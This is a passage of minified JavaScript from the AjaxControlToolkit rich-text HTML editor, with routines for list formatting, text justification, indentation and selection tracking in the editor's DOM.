f="LI",h=false,a=null,m=this,k=m.get_paragraphs(),j=m.getSelectionAfterOperation(k),e=a,c=[],g=m,b=a,d=[],n=r.toUpperCase(),q=h;function i(){if(b!=a){var e;e=b.cloneNode(h);b.parentNode.insertBefore(e,b);while(b.firstChild!=d[0])e.appendChild(b.firstChild);e.firstChild==a&&e.parentNode.removeChild(e);if(b.tagName.toUpperCase()==n)for(var k=0;k<d.length;k++){var c=d[k];if(c.nodeType==1&&c.tagName&&c.tagName.toUpperCase()==f){var p=h;b.parentNode.insertBefore(c,b);if(c.style.textAlign=="")c.style.textAlign=b.style.textAlign;if(b.childNodes.length==0&&k==d.length-1){b.parentNode.removeChild(b);b=a}if(c.style.textAlign==""||c.style.textAlign.toLowerCase()=="left"&&!g.rtlState()||c.style.textAlign.toLowerCase()=="right"&&g.rtlState()){p=g.tryUnWrap(c,j);if(p)q=true}if(!p){for(var l=g._doc.createElement(g.dfltBlockElement),o=c.attributes,m=0;m<o.length;++m){var i=o.item(m);if(!i.specified)continue;if(i.name.toLowerCase()=="style")continue;l.setAttribute(i.name,i.value)}l.style.cssText=c.style.cssText;if(l.tagName.toUpperCase()=="P")l.style.margin="0px";while(c.firstChild)l.appendChild(c.firstChild);c.parentNode.insertBefore(l,c);c.parentNode.removeChild(c)}}else b.parentNode.insertBefore(c,b)}else{for(var e=g._doc.createElement(n),o=b.attributes,m=0;m<o.length;++m){var i=o.item(m);if(!i.specified)continue;if(i.name.toLowerCase()=="style")continue;e.setAttribute(i.name,i.value)}e.style.cssText=b.style.cssText;b.parentNode.insertBefore(e,b);for(var k=0;k<d.length;k++){var c=d[k];e.appendChild(c)}}if(b!=a){e=b.cloneNode(h);b.parentNode.insertBefore(e,b);while(b.firstChild)e.appendChild(b.firstChild);e.firstChild==a&&e.parentNode.removeChild(e);b.parentNode.removeChild(b)}}b=a;d=[]}function p(){var t="BR",E=e.firstChild,F=e.lastChild,q=e.tagName.toUpperCase();if(!AjaxControlToolkit.HTMLEditor.isInlineElement(e)&&c[0][0]==E&&c[c.length-1][c[c.length-1].length-1]==F&&(q=="OL"||q=="UL"||q=="DL"||q==f||(q=="P"||q=="DIV"||AjaxControlToolkit.HTMLEditor.isHeader(e))&&q==f)){i();d=[];if(q==f){b=e.parentNode;d.push(e)}else if(q=="P"||q=="DIV"||AjaxControlToolkit.HTMLEditor.isHeader(e)){b=e.parentNode.parentNode;d.push(e.parentNode)}else{b=e;for(var s=0;s<c.length;s++)for(var r=c[s],m=0;m<r.length;m++)d.push(r[m])}i()}else if(q==f&&c.length<k.length){if(b!=e.parentNode){i();b=e.parentNode;d=[]}d.push(e)}else if(q=="OL"||q=="UL"||q=="DL"){i();b=e;d=[];for(var s=0;s<c.length;s++)for(var r=c[s],m=0;m<r.length;m++)d.push(r[m]);i()}else{var l=a,o=a;function v(){if(l!=a)if(l.childNodes==1&&(l.firstChild==j[0]||l.firstChild==j[1])){l.parentNode.insertBefore(l.firstChild,l);l.parentNode.removeChild(l)}l=a}b!=a&&i();var y="";if(c.length==1&&c[0].length==1&&c[0][0].nodeType==1&&c[0][0].tagName)y=c[0][0].tagName.toUpperCase();if(y=="OL"||y=="UL"||y=="DL"){var p=c[0][0];b=p;d=[];for(var s=0;s<p.childNodes.length;s++){var H=p.childNodes.item(s);d.push(H)}i()}else for(var s=0;s<c.length;s++){for(var r=c[s],m=0;m<r.length;m++){var p=r[m],z=p.tagName?p.tagName.toUpperCase():"";if(o==a){o=g._doc.createElement(n);p.parentNode.insertBefore(o,p)}if(!AjaxControlToolkit.HTMLEditor.isInlineElement(p)&&z!=t){l&&l.firstChild&&v();if(l==a){l=g._doc.createElement(f);o.appendChild(l)}l.appendChild(p);v()}else{if(l==a){l=g._doc.createElement(f);o.appendChild(l)}var C=r[r.length-1]==j[1]?r.length-1:r.length,D=r[0]==j[0]?1:0;if(z==t&&m==C-1&&m==D)if(AjaxControlToolkit.HTMLEditor.isIE){l.appendChild(g._doc.createTextNode(String.fromCharCode(160)));p.parentNode.removeChild(p)}else l.appendChild(p);else if(z==t&&m==C-1&&m>D)p.parentNode.removeChild(p);else l.appendChild(p);if(z==t&&m==r.length-1){v();l=a}if(p==j[1]&&m==r.length-1){v();l=a}}}l&&l.firstChild&&v()}if(o!=a){for(var u=[],m=0;m<o.childNodes.length;m++)u.push(o.childNodes.item(m).style.textAlign);for(var w=1;w<u.length;w++)if(u[w-1]!=u[w])break;if(w==u.length){for(var G=u[0]=="left"&&!g.rtlState()||u[0]=="right"&&g.rtlState()?"":u[0],m=0;m<o.childNodes.length;m++)o.childNodes.item(m).style.textAlign="";o.style.textAlign=G}}if(o!=a)if(o.parentNode.tagName.toUpperCase()=="P"&&o.parentNode.childNodes.length==1){var x=o.parentNode,A=x.cloneNode(h);x.parentNode.insertBefore(o,x);x.parentNode.removeChild(x);if(o.childNodes.length==1){var B=o.firstChild;while(B.firstChild)A.appendChild(B.firstChild);B.appendChild(A)}else delete A}}}for(var o=0;o<k.length;o++){var l=k[o];if(l.length>0){if(l[0].parentNode!=e){c.length>0&&p();c=[];e=l[0].parentNode}c.push(l)}}c.length>0&&p();b!=a&&i();m.setSelectionAfterOperation(j,q)};AjaxControlToolkit.HTMLEditor.MSIE_justify=function(e,u,p){var a="",k=false,g=true,c=null,o=this,r=o.get_paragraphs(),h=o.getSelectionAfterOperation(r),b=c,f=[],j=o,d=typeof u!="undefined"&&u?g:k,i=typeof p=="string"?g:k,l=typeof p=="string"?p:a,m=k;function q(a){if(a!=c)if(a.childNodes==1&&(a.firstChild==h[0]||a.firstChild==h[1])){a.parentNode.insertBefore(a.firstChild,a);a.parentNode.removeChild(a)}}function t(){var H="TABLE",u="0px",D="LI",C="remain",s="left",o="P",z="DIV",y="align",U=b.firstChild,V=b.lastChild,T=k,x;if(b.tagName&&!AjaxControlToolkit.HTMLEditor.isInlineElement(b)&&f[0][0]==U&&f[f.length-1][f[f.length-1].length-1]==V){x=b.tagName.toUpperCase();if(x!="TD"&&x!="TH"&&x!="FIELDSET"&&x!="LEGEND")T=g}if(T){var L=a;if(b.getAttribute(y)&&b.getAttribute(y).length>0)L=b.getAttribute(y);if(b.align&&b.align.length>0)L=b.align;if(b.style.textAlign&&b.style.textAlign.length>0)L=b.style.textAlign;b.align=a;b.setAttribute(y,a);b.removeAttribute(y);if((x==z||x==o||AjaxControlToolkit.HTMLEditor.isHeader(b))&&e==s&&d){if(j.tryUnWrap(b,h,d))m=g}else{if(e!=C)if(!(e==s&&d)||x==D&&b.parentNode.style.textAlign.length>0)b.style.textAlign=e;else b.style.textAlign=a;if(d)b.style.margin=x==o?u:a;if(x==D){for(var t=b.parentNode,w=[],F=0;F<t.childNodes.length;F++)t.childNodes.item(F).nodeType==1&&w.push(t.childNodes.item(F).style.textAlign);for(var A=1;A<w.length;A++)if(w[A-1]!=w[A])break;if(A==w.length){for(var L=w[0]==s&&d?a:w[0],r=0;r<t.childNodes.length;r++)if(t.childNodes.item(r).nodeType==1){t.childNodes.item(r).style.textAlign=a;if(d)t.childNodes.item(r).style.margin=t.childNodes.item(r).tagName.toUpperCase()==o?u:a}t.style.textAlign=L}}if((x==z||x==o||AjaxControlToolkit.HTMLEditor.isHeader(b))&&i&&l.toUpperCase()!=x){for(var E=j._doc.createElement(l),M=b.attributes,K=0;K<M.length;++K){var G=M.item(K);if(!G.specified)continue;if(G.name.toLowerCase()=="style")continue;E.setAttribute(G.name,G.value)}E.style.cssText=b.style.cssText;while(b.firstChild)E.appendChild(b.firstChild);b.parentNode.insertBefore(E,b);b.parentNode.removeChild(b)}}}else for(var v=c,Q=0;Q<f.length;Q++){if(!i)v=c;for(var B=f[Q],r=0;r<B.length;r++){var n=B[r],p=n.nodeType==1&&n.tagName?n.tagName.toUpperCase():c;if(p!=c&&(p=="UL"||p=="OL"||p=="DL"||p==z||AjaxControlToolkit.HTMLEditor.isHeader(n)||p==o||p==D||p==H)){q(v);v=c;if(e!=C)if(p!=H&&!d)n.style.textAlign=e;if(d)n.style.margin=p==o?u:a;if(p=="UL"||p=="OL"||p=="DL"){for(var O=0;O<n.childNodes.length;O++){var J=n.childNodes.item(O);if(J.nodeType==1){J.style.textAlign=a;if(d)J.style.margin=J.tagName.toUpperCase()==o?u:a;for(var P=0;P<J.childNodes.length;P++){var I=J.childNodes.item(P);if(I.nodeType==1&&I.tagName){var N=I.tagName.toUpperCase();if(d)I.style.margin=N==o?u:a;if(N==z||N==o||AjaxControlToolkit.HTMLEditor.isHeader(I))if(j.tryUnWrap(I,h,d))m=g}}}}if(e==s&&d)n.style.textAlign=a;continue}else if(p==D){if(e!=C)if(!(e==s&&d)||n.parentNode.style.textAlign.length>0)n.style.textAlign=e;else n.style.textAlign=a;if(d)n.style.margin=p==o?u:a;for(var t=n.parentNode,w=[],F=0;F<t.childNodes.length;F++)t.childNodes.item(F).nodeType==1&&w.push(t.childNodes.item(F).style.textAlign);for(var A=1;A<w.length;A++)if(w[A-1]!=w[A])break;if(A==w.length){for(var L=w[0]==s&&d?a:w[0],r=0;r<t.childNodes.length;r++)if(t.childNodes.item(r).nodeType==1){t.childNodes.item(r).style.textAlign=a;if(d)t.childNodes.item(r).style.margin=t.childNodes.item(r).tagName.toUpperCase()==o?u:a}t.style.textAlign=L}continue}else if(p==H)if(e!=C)if(!(e==s&&d))n.align=e;else{n.align=a;n.removeAttribute(y)}if((p==z||p==o||AjaxControlToolkit.HTMLEditor.isHeader(n))&&e==s&&d)if(j.tryUnWrap(n,h,d))m=g;if((p==z||p==o||AjaxControlToolkit.HTMLEditor.isHeader(n))&&i&&l.toUpperCase()!=p){for(var E=j._doc.createElement(l),M=n.attributes,K=0;K<M.length;++K){var G=M.item(K);if(!G.specified)continue;if(G.name.toLowerCase()=="style")continue;E.setAttribute(G.name,G.value)}E.style.cssText=n.style.cssText;while(n.firstChild)E.appendChild(n.firstChild);n.parentNode.insertBefore(E,n);n.parentNode.removeChild(n)}}else if(!(e==s&&d)||i){if(v==c){v=j._doc.createElement(i?l:j.dfltBlockElement);if(j.dfltBlockElement.toUpperCase()==o&&!i)v.style.margin=u;if(!i)v.style.textAlign=e;n.parentNode.insertBefore(v,n)}var R=B[B.length-1]==h[1]?B.length-1:B.length,S=B[0]==h[0]?1:0;if(p=="BR"&&r==R-1&&r==S)if(AjaxControlToolkit.HTMLEditor.isIE){v.appendChild(j._doc.createTextNode(String.fromCharCode(160)));n.parentNode.removeChild(n)}else v.appendChild(n);else if(p=="BR"&&r==R-1&&r>S&&(!i||n.nextSibling!=c&&n.nextSibling==h[1]))n.parentNode.removeChild(n);else v.appendChild(n);if(p=="BR"&&r==B.length-1&&!i){q(v);v=c}if(n==h[1]&&r==B.length-1){q(v);v=c}}}}}for(var s=0;s<r.length;s++){var n=r[s];if(n.length>0){if(n[0].parentNode!=b){f.length>0&&t();f=[];b=n[0].parentNode}f.push(n)}}f.length>0&&t();o.setSelectionAfterOperation(h,m)};AjaxControlToolkit.HTMLEditor.MSIE_indent=function(s){var h="px",a="",e="P",c=null,m=this,p=m.get_paragraphs(),i=m.getSelectionAfterOperation(p),b=c,f=[],d=m,k=false;function j(a){if(a.nodeType==1){var b=!d.rtlState()?a.style.marginLeft:a.style.marginRight;if(b.length>0)return parseInt(b)}return 0}function g(c,b){if(c.nodeType==1){if(c.tagName.toUpperCase()==e&&b==a)b="0px";if(!d.rtlState())c.style.marginLeft=b;else c.style.marginRight=b}}function n(b){if(s)g(b,j(b)+40+h);else if(b.tagName.toUpperCase()==e)if(j(b)>=40)g(b,j(b)-40+h);else g(b,"0px");else if(j(b)>40)g(b,j(b)-40+h);else g(b,a)}function o(a){if(a!=c)if(a.childNodes==1&&(a.firstChild==i[0]||a.firstChild==i[1])){a.parentNode.insertBefore(a.firstChild,a);a.parentNode.removeChild(a)}}function r(){var z="LI",y="DIV",B="right",A="left",u="align",N=b.firstChild,O=b.lastChild;if(b.tagName&&!AjaxControlToolkit.HTMLEditor.isInlineElement(b)&&f[0][0]==N&&f[f.length-1][f[f.length-1].length-1]==O){var m=a;if(b.getAttribute(u)&&b.getAttribute(u).length>0)m=b.getAttribute(u);if(b.align&&b.align.length>0)m=b.align;if(b.style.textAlign&&b.style.textAlign.length>0)m=b.style.textAlign;if(m.toLowerCase()==A&&!d.rtlState()||m.toLowerCase()==B&&d.rtlState())m=a;b.align=a;b.setAttribute(u,a);b.removeAttribute(u);n(b);var E=b.tagName.toUpperCase();if((E==y||E==e||AjaxControlToolkit.HTMLEditor.isHeader(b))&&m==a){if(d.tryUnWrap(b,i))k=true}else{if(m!=a||E==z&&b.parentNode.style.textAlign.length>0)b.style.textAlign=m;else b.style.textAlign=a;if(E==z){for(var v=b.parentNode,r=[],D=0;D<v.childNodes.length;D++)r.push(j(v.childNodes.item(D)));for(var w=1;w<r.length;w++)if(r[w-1]!=r[w])break;if(w==r.length){for(var M=r[0]==0?a:r[0]+h,q=0;q<v.childNodes.length;q++)g(v.childNodes.item(q),a);g(v,M)}}}}else for(var I=0;I<f.length;I++)for(var t=c,x=f[I],q=0;q<x.length;q++){var l=x[q],p=l.nodeType==1&&l.tagName?l.tagName.toUpperCase():c;if(p!=c&&(p=="UL"||p=="OL"||p=="DL"||p==y||AjaxControlToolkit.HTMLEditor.isHeader(l)||p==e||p==z)){o(t);t=c;n(l);if(p=="UL"||p=="OL"||p=="DL"){for(var G=0;G<l.childNodes.length;G++){var F=l.childNodes.item(G);if(F.nodeType==1){g(F,a);for(var H=0;H<F.childNodes.length;H++){var C=F.childNodes.item(H),m=C.nodeType==1?l.style.textAlign:a;if(m.toLowerCase()==A&&!d.rtlState()||m.toLowerCase()==B&&d.rtlState())m=a;if(C.nodeType==1){g(C,a);if(m==a&&C.tagName){var K=C.tagName.toUpperCase();if(K==y||K==e)if(d.tryUnWrap(C,i))k=true}}}}}continue}else if(p==z){for(var v=l.parentNode,r=[],D=0;D<v.childNodes.length;D++)r.push(j(v.childNodes.item(D)));for(var w=1;w<r.length;w++)if(r[w-1]!=r[w])break;if(w==r.length){for(var M=r[0]==0?a:r[0]+h,q=0;q<v.childNodes.length;q++)g(v.childNodes.item(q),a);g(v,M)}continue}var m=l.style.textAlign;if(m.toLowerCase()==A&&!d.rtlState()||m.toLowerCase()==B&&d.rtlState())m=a;if((p==y||p==e||AjaxControlToolkit.HTMLEditor.isHeader(l))&&m==a)if(d.tryUnWrap(l,i))k=true}else if(s){if(t==c){t=d._doc.createElement(d.dfltBlockElement);if(d.dfltBlockElement.toUpperCase()==e)t.style.margin="0px";n(t);l.parentNode.insertBefore(t,l)}var J=x[x.length-1]==i[1]?x.length-1:x.length,L=x[0]==i[0]?1:0;if(p=="BR"&&q==J-1&&q==L)if(AjaxControlToolkit.HTMLEditor.isIE){t.appendChild(d._doc.createTextNode(String.fromCharCode(160)));l.parentNode.removeChild(l)}else t.appendChild(l);else if(p=="BR"&&q==J-1&&q>L)l.parentNode.removeChild(l);else t.appendChild(l);if(p=="BR"&&q==x.length-1){o(t);t=c}if(l==i[1]&&q==x.length-1){o(t);t=c}}}}for(var q=0;q<p.length;q++){var l=p[q];if(l.length>0){if(l[0].parentNode!=b){f.length>0&&r();f=[];b=l[0].parentNode}f.push(l)}}f.length>0&&r();m.setSelectionAfterOperation(i,k)};AjaxControlToolkit.HTMLEditor.getSelectionAfterOperation=function(a){if(a.length==0)return [];var e=this._doc.createElement("SPAN"),d=this._doc.createElement("SPAN"),f=a[0][0],b=a[a.length-1][a[a.length-1].length-1];if(f==b&&b.nodeType==1&&b.childNodes.length==0&&AjaxControlToolkit.HTMLEditor.canHaveChildren(b)){b.appendChild(e);b.appendChild(d)}else{var g=AjaxControlToolkit.HTMLEditor._getReallyFirst(f);g.parentNode.insertBefore(e,g);if(g==f){var h=[];h.push(e);for(var i=0;i<a[0].length;i++)h.push(a[0][i]);a[0]=h}var c=AjaxControlToolkit.HTMLEditor._getReallyLast(b);if(c.nextSibling)c.parentNode.insertBefore(d,c.nextSibling);else c.parentNode.appendChild(d);c==b&&a[a.length-1].push(d)}return [e,d]};AjaxControlToolkit.HTMLEditor.setSelectionAfterOperation=function(m,p){var a=null,c=this;if(m.length==0)return;var d=m[0],b=m[1],g=c._getSelection(),f=a,j=a;if(AjaxControlToolkit.HTMLEditor.isIE){g.empty();g=c._getSelection();var h=c._createRange(g),l=c._createRange(g);try{if(d!=a&&b!=a&&d.nextSibling==b){f=c._doc.createTextNode(" ");b.parentNode.insertBefore(f,b)}c._TcurrentFormat=a;d!=a&&h.moveToElementText(d);b!=a&&l.moveToElementText(b);if(d!=a&&b!=a){h.setEndPoint("EndToStart",l);h.select();if(f!=a){h.collapse(false);h.select();f.parentNode.removeChild(f)}}else if(d!=a)h.select();else b!=a&&l.select()}catch(r){}}else try{var e,i=d.nextSibling,q=b.previousSibling;c._TcurrentFormat=a;if(i==q&&i.nodeType==1&&i.tagName.toUpperCase()=="BR"){var o=AjaxControlToolkit.HTMLEditor.__getIndex(i);e=c._doc.createRange();e.setStart(i.parentNode,o);e.setEnd(i.parentNode,o)}else{f=c._doc.createTextNode("");j=c._doc.createTextNode("");d.parentNode.insertBefore(f,d);b.parentNode.insertBefore(j,b);e=c._doc.createRange();e.setStart(f,0);e.setEnd(j,0)}c._removeAllRanges(g);c._selectRange(g,e)}catch(r){}var n=AjaxControlToolkit.HTMLEditor._commonTotalParent(d==a?b:d,b==a?d:b),k=a;if(n!=a)k=n.parent;d!=a&&d.parentNode.removeChild(d);b!=a&&b.parentNode.removeChild(b);if(p&&k!=a){AjaxControlToolkit.HTMLEditor.spanJoiner(k,c._doc);if(!AjaxControlToolkit.HTMLEditor.isIE&&f!=a&&j!=a){var e=c._doc.createRange();e.setStart(f,0);e.setEnd(j,0);c._removeAllRanges(g);c._selectRange(g,e)}}};AjaxControlToolkit.HTMLEditor.get_paragraphs=function(){var a=this;a._TcurrentFormat=null;var b=a.getPseudoP();if(b.length==0)try{var e="<span id='"+AjaxControlToolkit.HTMLEditor.smartClassName+"_ll'></span><span id='"+AjaxControlToolkit.HTMLEditor.smartClassName+"_rr'></span><br>";a.insertHTML(e);var c=a._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName+"_ll"),d=a._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName+"_rr"),f=a._TcurrentFormat;a._TcurrentFormat=null;a.setSelectionAfterOperation([c,d],false);a._TcurrentFormat=f;b=a.getPseudoP()}catch(g){}return b};AjaxControlToolkit.HTMLEditor.getPseudoP=function(){var y="<span id='",n="SPAN",c=null,d=this,s=[];try{var l=d._getSelection(),j=d._createRange(l),q=AjaxControlToolkit.HTMLEditor.smartClassName+"_right",v=AjaxControlToolkit.HTMLEditor.smartClassName+"_left",h=c,g=c;if(AjaxControlToolkit.HTMLEditor.isIE){if(l.type.toLowerCase()!="control"){h=j.duplicate();g=j.duplicate();h.setEndPoint("EndToStart",j);g.setEndPoint("StartToEnd",j)}}else{h=j.cloneRange();g=j.cloneRange();h.setEnd(h.startContainer,h.startOffset);g.setStart(g.endContainer,g.endOffset)}var a=c,b=c;if(AjaxControlToolkit.HTMLEditor.isIE&&l.type.toLowerCase()=="control"){var o=j.item(0),i;i=d._doc.createElement(n);i.id=v;o.parentNode.insertBefore(i,o);i=d._doc.createElement(n);i.id=q;if(o.nextSibling==c)o.parentNode.appendChild(i);else o.parentNode.insertBefore(i,o.nextSibling)}else{if(!d.insertHTML(y+q+"'/>",g))return [];if(!d.insertHTML(y+v+"'/>",h)){var x=d._doc.getElementById(q);if(x!=c){p=x.parentNode;p.removeChild(x)}return []}}a=d._doc.getElementById(v);b=d._doc.getElementById(q);if(a!=c&&b!=c)while(a.nextSibling==c)if(a.parentNode.nextSibling)a.parentNode.parentNode.insertBefore(a,a.parentNode.nextSibling);else a.parentNode.parentNode.appendChild(a);if(a!=c&&b!=c){while(b.previousSibling==c)b.parentNode.parentNode.insertBefore(b,b.parentNode);if(b.previousSibling.nodeType==1){var A=b.previousSibling.tagName.toUpperCase();if(A!="BR"&&A!="IMG"){var t=AjaxControlToolkit.HTMLEditor._getReallyLast(b.previousSibling);if(t.nodeType==1&&AjaxControlToolkit.HTMLEditor.canHaveChildren(t))t.appendChild(b);else t.parentNode.appendChild(b)}}b.previousSibling&&b.previousSibling.nodeType==1&&b.previousSibling.tagName.toUpperCase()=="BR"&&b.parentNode.insertBefore(b,b.previousSibling)}if(a==c){var f=d._doc.createElement(n);f.id=v;b.parentNode.insertBefore(f,b);a=f}if(b==c){var f=d._doc.createElement(n);f.id=q;if(a.nextSibling)a.parentNode.insertBefore(f,a.nextSibling);else a.parentNode.appendChild(f);b=f}if(a!=c&&b!=c)if(a.parentNode==b)b.parentNode.insertBefore(a,b);else if(b.parentNode==a)if(a.nextSibling!=c)a.parentNode.insertBefore(b,a.nextSibling);else a.parentNode.appendChild(b);while(a.nextSibling!=c&&a.nextSibling.nodeType==3&&(""+a.nextSibling.data+"").length==0)a.parentNode.removeChild(a.nextSibling);if(d._TcurrentFormat==c&&a!=c&&b!=c&&a.nextSibling==b){var k=b.parentNode;d._TcurrentFormat=c;while(k&&k.tagName.toUpperCase()!="BODY"&&AjaxControlToolkit.HTMLEditor.isStyleTag(k.tagName)){if(k.tagName.toUpperCase()!="A"){var p=k.cloneNode(false);if(d._TcurrentFormat==c)d._TcurrentFormat=p;else{p.appendChild(d._TcurrentFormat);d._TcurrentFormat=p}}k=k.parentNode}if(d._TcurrentFormat){var C=d._doc.createElement("span");C.appendChild(d._TcurrentFormat);d._TcurrentFormat=C.innerHTML}}var e=a;while(e&&e.tagName&&AjaxControlToolkit.HTMLEditor.isStyleTag(e.tagName)&&e.tagName.toUpperCase()!="A")e=e.parentNode;if(e!=c&&e.tagName.toUpperCase()=="P")if(e.firstChild!=c)e.insertBefore(a,e.firstChild);else e.appendChild(a);else AjaxControlToolkit.HTMLEditor.positionInParagraph(a,a.previousSibling,true,a.parentNode);e=b;while(e&&e.tagName&&AjaxControlToolkit.HTMLEditor.isStyleTag(e.tagName)&&e.tagName.toUpperCase()!="A")e=e.parentNode;if(e!=c&&e.tagName.toUpperCase()=="P")e.appendChild(b);else AjaxControlToolkit.HTMLEditor.positionInParagraph(b,b.nextSibling,false,b.parentNode);s=d.getPseudoP_Recur(a,b,0);var z=a.parentNode.tagName.toUpperCase();if(s.length==0&&a.previousSibling==c&&b.nextSibling==c&&a.nextSibling==b&&(z=="P"||llpTagName=="DIV"||z=="LI"))s=[[a.parentNode]];if(AjaxControlToolkit.HTMLEditor.isIE){l.empty();l=d._getSelection();var r=d._createRange(l),w=d._createRange(l);try{a!=c&&r.moveToElementText(a);b!=c&&w.moveToElementText(b);if(a!=c&&b!=c){r.setEndPoint("EndToEnd",w);r.select()}else if(a!=c)r.select();else b!=c&&w.select()}catch(E){}}a!=c&&a.parentNode.removeChild(a);b!=c&&b.parentNode.removeChild(b)}catch(E){for(var B=d._doc.getElementsByTagName(n),u=[],m=0;m<B.length;m++){var f=B[m];if(f.id&&f.id.length>0){var D=new RegExp(AjaxControlToolkit.HTMLEditor.smartClassName,"ig");D.test(f.id)&&u.push(f)}}for(var m=0;m<u.length;m++)u[m].parentNode.removeChild(u[m])}return s};AjaxControlToolkit.HTMLEditor.getPseudoP_Recur=function(u,p,t){var A="span",K="_left_",J="_right_",I="TABLE",z=true,k=null,r=this,n=[],b=u,h=p.nextSibling!=k&&p.nextSibling.tagName&&p.nextSibling.tagName.toUpperCase()=="BR"?p.nextSibling:p,j=k;if(b==k||h==k){if(b!=k)j=AjaxControlToolkit.HTMLEditor._commonTotalParent(b,b);if(h!=k)j=AjaxControlToolkit.HTMLEditor._commonTotalParent(h,h)}else j=AjaxControlToolkit.HTMLEditor._commonTotalParent(b,h);if(j!=k){b=AjaxControlToolkit.HTMLEditor.getContainer(j.parent.childNodes.item(j.indexFirst),b);h=AjaxControlToolkit.HTMLEditor.getContainer(j.parent.childNodes.item(j.indexLast),h);AjaxControlToolkit.HTMLEditor.unStyle(b);AjaxControlToolkit.HTMLEditor.unStyle(h);while(b.parentNode!=j.parent)b=b.parentNode;while(h.parentNode!=j.parent)h=h.parentNode;AjaxControlToolkit.HTMLEditor._moveTagsUp(b.nextSibling,h);j=k;if(u==k||p==k){if(u!=k)j=AjaxControlToolkit.HTMLEditor._commonTotalParent(u,u);if(p!=k)j=AjaxControlToolkit.HTMLEditor._commonTotalParent(p,p)}else j=AjaxControlToolkit.HTMLEditor._commonTotalParent(u,p);j!=k&&AjaxControlToolkit.HTMLEditor.spanJoiner(j.parent,r._doc,j.indexFirst,j.indexLast+1,z);function V(a){if(!AjaxControlToolkit.HTMLEditor.isInlineElement(a))return z;else if(a.tagName&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)&&a.tagName.toUpperCase()!="A"&&!AjaxControlToolkit.HTMLEditor.isTempElement(a)){var b=a.firstChild;while(b!=k){nnnNext=b.nextSibling;var c=V(b);if(c)return z;b=nnnNext}}return false}var d=0,c=[],f=0;if(b.tagName&&h.tagName){var x=b.tagName.toUpperCase(),F=h.tagName.toUpperCase();if((x=="TD"||x=="TR")&&(F=="TD"||F=="TR")){while(b.tagName.toUpperCase()!=I)b=b.parentNode;h=b}else if((x=="DD"||x=="DT")&&(F=="DD"||F=="DT")){while(b.tagName&&b.tagName.toUpperCase()!="DL")b=b.parentNode;h=b}else if(x=="LI"&&F=="LI"){while(x!="UL"&&x!="OL"){b=b.parentNode;x=b.tagName?b.tagName.toUpperCase():k}h=b}}var l=u?u:p,m=p?p:u,a=b;while(z){if(!AjaxControlToolkit.HTMLEditor.isTempElement(a)){var Z=V(a);if(!Z){if(a.nodeType&&a.nodeType==3){var X=""+a.data+"";if(X.length==0||/^[\n\r]+$/.test(X)){var Y=a.nextSibling;a.parentNode.removeChild(a);if(a==h)break;a=Y;continue}}c[f]=a;f++}else if(a.tagName&&a.tagName.toUpperCase()=="BR"){c[f]=a;n[d]=c;d++;c=[];f=0}else if((a==h||a==b)&&!(a==h&&a==b?AjaxControlToolkit.HTMLEditor._reallyFirst(a,l)&&AjaxControlToolkit.HTMLEditor._reallyLast(a,m):AjaxControlToolkit.HTMLEditor._reallyFirst(a,l)||AjaxControlToolkit.HTMLEditor._reallyLast(a,m))){var G=a.tagName?a.tagName.toUpperCase():k;if(G==I||G=="TBODY"){var s=a;while(s.tagName.toUpperCase()!=I)s=s.parentNode;for(var R=0,L=0,S=s.rows.item(s.rows.length-1).cells.length-1,M=s.rows.length-1,i=0;i<s.rows.length;i++)for(var W=s.rows.item(i),y=0;y<W.cells.length;y++){var q=W.cells.item(y);if(AjaxControlToolkit.HTMLEditor._lookChild(q,l)>=0){R=y;L=i}if(AjaxControlToolkit.HTMLEditor._lookChild(q,m)>=0){S=y;M=i}}for(var i=L;i<=M;i++)for(var y=i==L?R:0;y<=(i==M?S:s.rows.item(i).cells.length-1);y++){var q=s.rows.item(i).cells.item(y);if(f>0){n[d]=c;d++;c=[];f=0}var B=AjaxControlToolkit.HTMLEditor._lookChild(q,l)>=0,C=AjaxControlToolkit.HTMLEditor._lookChild(q,m)>=0;if(B||C){var e=l,g=m,Q=AjaxControlToolkit.HTMLEditor.smartClassName+J+t,P=AjaxControlToolkit.HTMLEditor.smartClassName+K+t;if(B){g=r._doc.createElement(A);g.id=Q;q.appendChild(g)}if(C){e=r._doc.createElement(A);e.id=P;if(q.firstChild)q.insertBefore(e,q.firstChild);else q.appendChild(e)}for(var D=r.getPseudoP_Recur(e,g,t+1),v=0;v<D.length;v++){n[d]=D[v];d++}e!=l&&e.parentNode.removeChild(e);g!=m&&g.parentNode.removeChild(g)}else{for(var N=0,O=q.childNodes.length,w=N;w<O;w++){var E=q.childNodes.item(w);if(!AjaxControlToolkit.HTMLEditor.isTempElement(E)){c[f]=E;f++}}if(c.length>0){n[d]=c;d++;c=[];f=0}}}}else if(G=="UL"||G=="OL"||G=="DL"){for(var H=a,T=0,U=H.childNodes.length-1,i=0;i<H.childNodes.length;i++){var o=H.childNodes.item(i);if(o.nodeType==1){if(o==l||AjaxControlToolkit.HTMLEditor._lookChild(o,l)>=0)T=i;if(o==m||AjaxControlToolkit.HTMLEditor._lookChild(o,m)>=0)U=i}}for(var i=T;i<=U;i++){var o=H.childNodes.item(i);if(f>0){n[d]=c;d++;c=[];f=0}var B=AjaxControlToolkit.HTMLEditor._lookChild(o,l)>=0,C=AjaxControlToolkit.HTMLEditor._lookChild(o,m)>=0;if(B||C){var e=l,g=m,Q=AjaxControlToolkit.HTMLEditor.smartClassName+J+t,P=AjaxControlToolkit.HTMLEditor.smartClassName+K+t;if(B){g=r._doc.createElement(A);g.id=Q;o.appendChild(g)}if(C){e=r._doc.createElement(A);e.id=P;if(o.firstChild)o.insertBefore(e,o.firstChild);else o.appendChild(e)}for(var D=r.getPseudoP_Recur(e,g,t+1),v=0;v<D.length;v++){n[d]=D[v];d++}e!=l&&e.parentNode.removeChild(e);g!=m&&g.parentNode.removeChild(g)}else{for(var N=0,O=o.childNodes.length,w=N;w<O;w++){var E=o.childNodes.item(w);if(!AjaxControlToolkit.HTMLEditor.isTempElement(E)){c[f]=E;f++}}if(c.length>0){n[d]=c;d++;c=[];f=0}}}}else{var B=AjaxControlToolkit.HTMLEditor._lookChild(a,l)>=0,C=AjaxControlToolkit.HTMLEditor._lookChild(a,m)>=0;if(f>0){n[d]=c;d++;c=[];f=0}if(B||C){var e=l,g=m,Q=AjaxControlToolkit.HTMLEditor.smartClassName+J+t,P=AjaxControlToolkit.HTMLEditor.smartClassName+K+t;if(B){g=r._doc.createElement(A);g.id=Q;a.appendChild(g)}if(C){e=r._doc.createElement(A);e.id=P;if(a.firstChild)a.insertBefore(e,a.firstChild);else 